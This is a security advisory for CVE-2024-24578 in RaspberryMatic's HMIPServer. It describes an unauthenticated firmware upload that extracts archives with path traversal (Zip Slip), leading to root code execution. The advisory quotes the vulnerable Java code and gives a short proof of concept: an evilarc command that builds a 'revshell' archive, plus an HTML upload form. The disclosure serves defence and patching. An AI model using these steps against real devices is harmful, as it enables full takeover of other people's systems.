Skip to content

Unauthenticated Remote Code Execution vulnerability through HMServer File Upload

Critical
jens-maus published GHSA-q967-q4j8-637h Mar 16, 2024

Package

RaspberryMatic (HMIPServer.jar / OCCU)

Affected versions

≤ 3.73.9.20240130

Patched versions

≥ 3.75.6.20240316

Description

Summary

RaspberryMatic / OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple issues within the Java based HMIPServer.jar component.

Details

RaspberryMatric includes a Java based HMIPServer, that can be accessed through URLs starting with /pages/jpages. The FirmwareController class does however not perform any session id checks, thus this feature can be accessed without a valid session.

Code from de.eq3.ccu.server.internal.FirmwareUploadRouteHandler, note that the sid value is read, but not used. In particular, note that the SessionVerifier.isSessionAlive method is not called:

  public void handle(RoutingContext event) {
    String msgCommandFinishedWithErrors = "Handling of command finished with error.";
    HttpServerRequest request = event.request();
    if (logger.isDebugEnabled())
      logger.debug("Request: " + request.uri()); 
    String sid = request.params().get("sid");
    request.setExpectMultipart(true);
    request.uploadHandler(upload -> {
          String tempFile = DeviceFirmwareController.getTempFirmwarePath(upload.filename());
          upload.exceptionHandler(());
          boolean isValidFilename = DeviceFirmwareController.isValidFilename(upload.filename());
          if (isValidFilename) {
            upload.streamToFileSystem(tempFile, ());
          } else {
            request.response().putHeader("Content-Type", "text/html");
            request.response().end("${addDevFirmwareInvalid}");
            request.response().close();
            logger.warn(msgCommandFinishedWithErrors);
          } 
        });

The controller can be reached through the URL /pages/jpages/system/DeviceFirmware/addFirmware as long as a valid multipart/form-data body is sent.

This allows an unauthenticated attacker to upload a malicious .tgz archive to the server, which will be automatically extracted without any further checks. Thus, the code within the DeviceFirmwareController controller contains multiple vulnerabilities, such as:

The code from the addFirmware method. At the end of the snippet, the extractFileFromArchive2Tmpmethod is called:

public String addFirmware(String sid, String firmwareFilePath) {
    String errorAddNewFile = "${addDevFirmwareInvalid}";
    File firmwareFile = new File(firmwareFilePath);
    try(GZIPInputStream gzipInputStream = new GZIPInputStream(new FileInputStream(firmwareFile)); 
        TarInputStream is = new TarInputStream(gzipInputStream)) {
      TarEntry entryx = null;
      while ((entryx = is.getNextEntry()) != null) {
        if (entryx.isDirectory())
          continue; 
        extractFileFromArchive2Tmp(is, entryx);
      }

See the code from the extractFileFromArchve2Tmp method. Note, that it uses the unsanitized entry.getName()to generate the FileOutputStream and writes out the file. As this entry can contain ../sequences, it is possible to break out of the predefined temp directory and write files to other locations outside this path. This vulnerability is commonly known as the Zip Slip vulnerability.

private static void extractFileFromArchive2Tmp(TarInputStream is, TarEntry entry) throws IOException {
    boolean success = false;
    File tmpFirmware = new File(TMP_DIR);
    success = tmpFirmware.setWritable(true, false);
    if (!tmpFirmware.exists()) {
      success = tmpFirmware.mkdir();
    } else {
      success = true;
    } 
    if (success) {
      byte[] data = new byte[2048];
      try(FileOutputStream entryStream = new FileOutputStream(TMP_DIR + FILE_SEP + entry.getName()); 
          BufferedOutputStream dest = new BufferedOutputStream(entryStream)) {
        int count;
        while ((count = is.read(data)) != -1)
          dest.write(data, 0, count); 
        dest.flush();
        File folder = new File(TMP_DIR);
        File[] listOfFiles = folder.listFiles();
        for (File file : listOfFiles) {
          if (file.isFile())
            file.setReadable(true, false); 
        } 
      } 
    } else {
      log.error("Not able to create " + TMP_DIR);
    } 
  }

This can be used to overwrite arbitrary files on the main filesystem. For example, it is possible to overwrite the watchdog script in /usr/local/addons/mediola/bin/, which will be executed every five minutes through a cron job. Thus, this leads to arbitrary code execution.

PoC

Create a .tgz archive with a custom watchdog script, using the tool evilarc.

python3 evilarc.py -f revshell.tgz -d 10 -p /usr/local/addons/mediola/bin -o unix watchdog

Upload the .tgz archive using the following HTML form adjusting the IP, thought:

<html>
	<head></head>
	<body>
	
        <form id='uploadForm' action='https://192.168.44.155/pages/jpages/system/DeviceFirmware/addFirmware' method='post' enctype='multipart/form-data'>
        Firmware: <input type='file' name='file' />
        <br/><br/><input id='btnSubmit' type='submit' value='upload' />
        </form>
	</body>
</html>

The service will respond with a ${addDevFirmwareInvalid} which however is fine.

Inspect the watchdog script on the RaspberryMatic instance.

Impact

Attackers can gain remote code execution as root user, allowing a full system compromise.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2024-24578

Credits